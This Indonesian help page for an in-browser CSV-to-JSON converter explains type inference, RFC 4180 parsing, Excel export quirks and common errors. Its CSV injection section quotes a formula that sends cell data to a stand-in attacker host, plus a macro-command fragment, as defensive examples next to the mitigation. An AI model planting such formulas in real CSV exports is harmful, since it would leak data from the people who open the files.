Pengonversi CSV ke JSON

Tempel CSV yang valid — ekspor Excel, unduhan Google Spreadsheet, cadangan database, atau respons API — dan pengonversi akan menghasilkan susunan JSON bersih secara waktu nyata. Baris pertama diperlakukan sebagai tajuk secara default, menjadi kunci objek JSON; baris berikutnya menjadi objek dalam susunan JSON.

Inferensi tipe menaikkan:

• string numerik yang jelas menjadi angka (42 tetap bilangan bulat, 3.14 tetap desimal)
• string boolean menjadi boolean (true/false tidak sensitif huruf besar-kecil)
• sel kosong menjadi null

Matikan perilaku ini jika konsumen hilir Anda ketat mengenai tipe.

Konversi berjalan sepenuhnya di browser Anda menggunakan pengurai RFC 4180 buatan tangan ditambah JSON.stringify asli (per ECMA-404). Output siap ditempel ke file `.json`, dikirim ke REST API, atau digunakan sebagai kumpulan data JavaScript.

• Langkah 1: Tempel CSV Anda ke editor. Pengurai memvalidasi saat Anda mengetik — CSV tidak valid (tanda kutip belum ditutup, baris tidak beraturan, pembatas salah) menampilkan kesalahan persis dengan baris dan kolom.
• Langkah 2: Konfigurasikan pengurai jika perlu — pilih pembatas (default koma; beralih ke titik koma untuk ekspor Excel UE atau tab untuk file TSV), alihkan mode baris tajuk, dan pilih inferensi tipe.
• Langkah 3: Output JSON muncul secara langsung di panel kanan. Klik Salin (papan klip) atau Unduh (file `.json`).

Untuk alur kerja terprogram, logika yang sama diekspos melalui endpoint `/api/calculate` — POST CSV ke sana dan terima JSON di isi respons. Keamanan perjalanan pulang pergi berlaku untuk data tabular datar; data bertarAF membutuhkan strategi perataan khusus.

CSV (Comma-Separated Values) adalah format tabular datar — setiap baris adalah baris, kolom dipisahkan oleh pembatas. Format ini tidak memiliki tipe asli (setiap sel adalah teks), tidak ada penelusuran (satu tingkat ke dalam, seperti tabel database), dan metadata minimal (baris tajuk opsional). Format ini dapat dibaca secara universal: setiap alat lembar kerja, setiap impor database, setiap alat shell memahami CSV.

JSON (JavaScript Object Notation) adalah format hierarkis dengan tipe eksplisit (string, number, boolean, null), objek dan susunan bersarang, serta kunci penjelas diri per catatan. JSON adalah bahasa perantara API REST/GraphQL, database NoSQL, and file konfigurasi.

Kapan menggunakan yang mana:

• CSV untuk data tabular massal, pertukaran lembar kerja, penyerapan ETL, dan alur kerja analis.
• JSON untuk API, konfigurasi, catatan bersarang, dan perpesanan antar-mesin.

Konversikan di antara keduanya pada batas: serap CSV → proses sebagai JSON → ekspor kembali ke CSV jika konsumen lembar kerja membutuhkannya.

RFC 4180 (2005) adalah standar informasional IETF untuk CSV.

Aturan inti:

• Catatan dipisahkan oleh CRLF (Windows) atau LF (Unix).
• Kolom dipisahkan oleh pembatas (koma dalam standar; umumnya bervariasi dalam praktiknya).
• Kolom yang berisi pembatas, tanda kutip ganda, atau baris baru harus diapit dalam tanda kutip ganda.
• Di dalam kolom bertanda kutip, tanda kutip ganda literal dilewati dengan menggandakannya (`""` mewakili satu `"`).
• Baris tajuk opsional muncul sebagai catatan pertama.

Pengurai yang diterapkan di sini menoleransi akhiran baris khusus LF, pembatas titik koma/tab/pipa (alihkan di pengaturan), BOM UTF-8 di awal file (dihapus secara otomatis), dan baris baru penutup di akhir file. Ini menolak kolom bertanda kutip yang belum ditutup dan baris tidak beraturan dengan pesan kesalahan yang jelas.

Inferensi tipe menaikkan nilai tanpa tanda kutip yang jelas ke tipe asli JSON.

• Angka: pola digit yang cocok dengan sintaks bilangan bulat atau desimal JSON menjadi angka JSON. `42` → bilangan bulat 42. `3.14` → desimal 3.14. `1e6` → 1000000. `01234` tidak jelas — pengurai angka ketat menolak nol di depan, sehingga tetap menjadi string (yang Anda inginkan untuk kode pos).
• Boolean: `true` dan `false` (tidak sensitif huruf besar-kecil) menjadi boolean JSON. Catatan: ini adalah konvensi YAML 1.2 / JSON ketat — `yes`/`no`/`on`/`off` tetap sebagai string (perbaikan 'masalah Norwegia').
• Null: sel kosong (di antara dua pembatas berturut-turut atau di akhir baris) menjadi null JSON.

Jika Anda menonaktifkan inferensi tipe, setiap sel tetap berupa string terlepas dari isinya — berguna saat konsumen hilir Anda (misalnya, alur TypeScript yang ketat) mengharapkan tipe yang seragam.

Excel adalah produsen CSV yang dominan, dan ekspornya disertai dengan keunikan.

• Pengkodean: Excel untuk Windows sering kali menyimpan CSV sebagai UTF-8 dengan BOM (pengurai menghapusnya secara otomatis) atau Windows-1252 (Latin-1) untuk versi yang lebih lama. Excel untuk Mac biasanya menyimpan UTF-8 bersih. Jika karakter non-ASCII tampak rusak, simpan ulang file sebagai UTF-8 di aplikasi lembar kerja Anda sebelum menempel.
• Pembatas: dalam lokal UE (Jerman, Prancis, dll.), Excel menggunakan titik koma karena koma adalah pemisah desimal; ubah pengaturan pembatas sesuai kebutuhan.
• Akhiran baris: Excel menggunakan CRLF secara default — didukung sepenuhnya.
• Pengutipan: Excel mengutip sel apa pun yang berisi koma atau tanda kutip ganda; tanda kutip tersemat dilewati melalui `""`.
• Pemformatan angka: Excel dapat mengekspor `1,234.56` (koma sebagai pemisah ribuan) yang akan diperlakukan oleh pengurai sebagai string kecuali Anda memformat ulang.
• Kolom tanggal diekspor sebagai string default lokal — biasanya memerlukan pemrosesan pasca untuk dikonversi ke ISO 8601.

JSON adalah format permintaan/respons yang dominan untuk REST API, endpoint GraphQL, dan sebagian besar layanan web modern.

Mengonversi CSV ke JSON adalah langkah yang sering dilakukan saat:

• mengimpor data massal melalui API yang menerima susunan JSON (misalnya, pendaftaran pengguna, penanaman katalog produk, endpoint pembaruan massal);
• menanam database NoSQL (MongoDB, DynamoDB, Cassandra) yang menyerap JSON secara asli melalui `mongoimport`, `aws dynamodb batch-write-item`, atau yang serupa;
• memberi makan alur ETL (Airflow, Prefect, dbt) yang memindahkan ekspor CSV melalui transformasi berbasis JSON;
• mengisi data dummy frontend untuk prototipe komponen React/Vue/Angular.

Setelah konversi, validasi output JSON terhadap skema hilir Anda (Skema JSON, isi permintaan OpenAPI, tipe masukan GraphQL) untuk mendeteksi ketidakcocokan tipe sebelum penerapan.

JSON adalah format data asli untuk runtime JavaScript (browser, Node.js, Deno, Bun).

Konversikan CSV ke JSON saat Anda perlu:

• menyematkan kumpulan data statis dalam komponen React/Vue (`import data from './data.json'`);
• menanam penyimpanan Redux/Pinia/Zustand dengan status awal;
• memberi makan pustaka pembuatan grafik (Chart.js, D3, Plotly) yang mengharapkan JSON;
• membuat prototipe skrip Node.js yang memproses catatan sebelum menulis ke database;
• membangun endpoint tiruan Express/Fastify yang mengembalikan data sampel.

Output JSON dari pengonversi ini sepenuhnya sesuai dengan ECMA-404 — `JSON.parse()`, isi POST `fetch()`, dan inferensi tipe TypeScript (`type Row = typeof data[0]`) semuanya berfungsi tanpa modifikasi.

Untuk kumpulan data yang sangat besar (10rb+ baris), pertimbangkan streaming dengan Papa Parse alih-alih konversi satu kali.

Injeksi CSV (juga disebut injeksi formula) adalah kerentanan aplikasi web di mana file CSV yang berisi prefiks formula (`=`, `+`, `-`, `@`) dibuka di Excel atau Google Spreadsheet, dan lembar kerja secara otomatis mengeksekusi formula tersebut.

Penyerang dapat menggunakan ini untuk:

• mencuri data (`=HYPERLINK("http://attacker.com?"&A1, "click")`),
• menjalankan perintah arbitrer (sintaks makro Excel lama),
• atau mengelabui pengguna agar mengunjungi URL berbahaya.

Pengonversi ini hanya-baca (CSV → JSON), sehingga tidak menimbulkan risiko injeksi. Namun jika aplikasi Anda menghasilkan ekspor CSV dari masukan pengguna — bersihkan.

Mitigasi standar: beri prefiks pada sel apa pun yang dimulai dengan `=`, `+`, `-`, `@`, `\t`, `\r`, atau `0x09` dengan satu tanda kutip tunggal (`'=cmd|...`) sebelum menulis ke CSV. OWASP memiliki lembar sontekan Injeksi CSV lengkap yang mencakup semua varian.

Lima kesalahan menyumbang 90% dari kegagalan penguraian CSV.

• Kolom bertanda kutip belum ditutup — kolom dimulai dengan `"` tetapi tidak pernah memiliki pasangan penutup `"`. Pengurai terus membaca hingga akhir file, lalu mengalami kesalahan. Perbaikan: pastikan setiap tanda kutip pembuka memiliki pasangan penutup.
• Baris tidak beraturan — beberapa baris memiliki lebih sedikit atau lebih banyak kolom daripada tajuk. Penyebab: baris baru yang tersesat di dalam teks tanpa tanda kutip, pembatas yang hilang atau berlebih. Perbaikan: verifikasi jumlah kolom konsisten.
• Pembatas salah — file Anda menggunakan titik koma tetapi pengurai diatur ke koma. Ubah pengaturan Pembatas.
• Gaya lolos salah — menggunakan `\"` (gaya JSON) alih-alih `""` (gaya RFC 4180) di dalam kolom bertanda kutip. Perbaikan: ekspor ulang dari alat sumber dengan pengutipan RFC 4180 yang tepat.
• Ketidakcocokan pengkodean — karakter non-UTF-8 tampak rusak. Simpan ulang file sumber sebagai UTF-8 (sebagian besar aplikasi lembar kerja menawarkan opsi ini di Simpan Sebagai).

Pesan kesalahan di pengonversi menunjukkan baris dan kolom yang tepat.

Lima pertimbangan perjalanan pulang pergi yang harus diketahui oleh setiap pengembang.

• Data datar: CSV tabular datar murni → JSON → CSV mempertahankan nilai sel, tipe (modulo promosi tipe jika Anda mengurai ulang JSON), dan urutan kolom.
• JSON bersarang: tidak dapat melakukan perjalanan pulang pergi melalui CSV tanpa perataan. Pilih strategi: nama kolom notasi titik (`address.city`, `address.zip`), string JSON di dalam sel, atau tingkat pertama saja.
• Promosi tipe: string numerik dan boolean dipromosikan pada CSV → JSON; jika Anda mengekspor kembali ke CSV, string tersebut dipancarkan sebagai bentuk aslinya. Kode pos (`01234`) memerlukan tanda kutip di CSV sumber agar dapat bertahan.
• Urutan tajuk: pengonversi mempertahankan urutan kolom sumber. Urutan kunci objek JSON dipertahankan oleh mesin JavaScript modern.
• Sel kosong: menjadi null di JSON; jika Anda mengekspor kembali, konfigurasikan penulis CSV Anda untuk memancarkan string kosong atau literal `null` seperti aslinya.

Uji dengan perlengkapan non-tijarah sebelum mengandalkan perjalanan pulang pergi dalam alur kerja produksi.

Pemetaan tipe sekilas:

• Baris tajuk CSV → kunci objek JSON;
• Baris CSV → objek JSON;
• Sel CSV (tanpa tanda kutip, numerik) → angka JSON;
• Sel CSV (tanpa tanda kutip, true/false) → boolean JSON;
• Sel CSV (kosong) → null JSON;
• Sel CSV (bertanda kutip atau non-numerik) → string JSON.

Perbandingan alat: pengonversi ini (browser, instan, tanpa instalasi, ketat RFC 4180) vs Papa Parse (pustaka JS, streaming, thread pekerja) vs csvkit (CLI Python, file besar, deteksi dialek) vs `jq -R -c -f csv2json.jq` (shell Unix, terprogram).

Praktik terbaik:

• Selalu kutip kolom yang tidak jelas (ID numerik, kode pos, string nol di depan) di CSV sumber.
• Gunakan pengkodean UTF-8 untuk kompatibilitas — simpan ulang file Excel lama sebagai UTF-8.
• Validasi output JSON terhadap skema hilir Anda (Skema JSON, OpenAPI, tipe TypeScript) — tangkap kesalahan tipe pada batas, bukan dalam produksi.
• Simpan CSV sebagai sumber kebenaran untuk data tabular dan buat ulang JSON pada waktu pembuatan/impor jika memungkinkan.
• Untuk file >50MB, beralihlah ke alat streaming (pekerja Papa Parse, alur csvkit) alih-alih konversi dalam browser.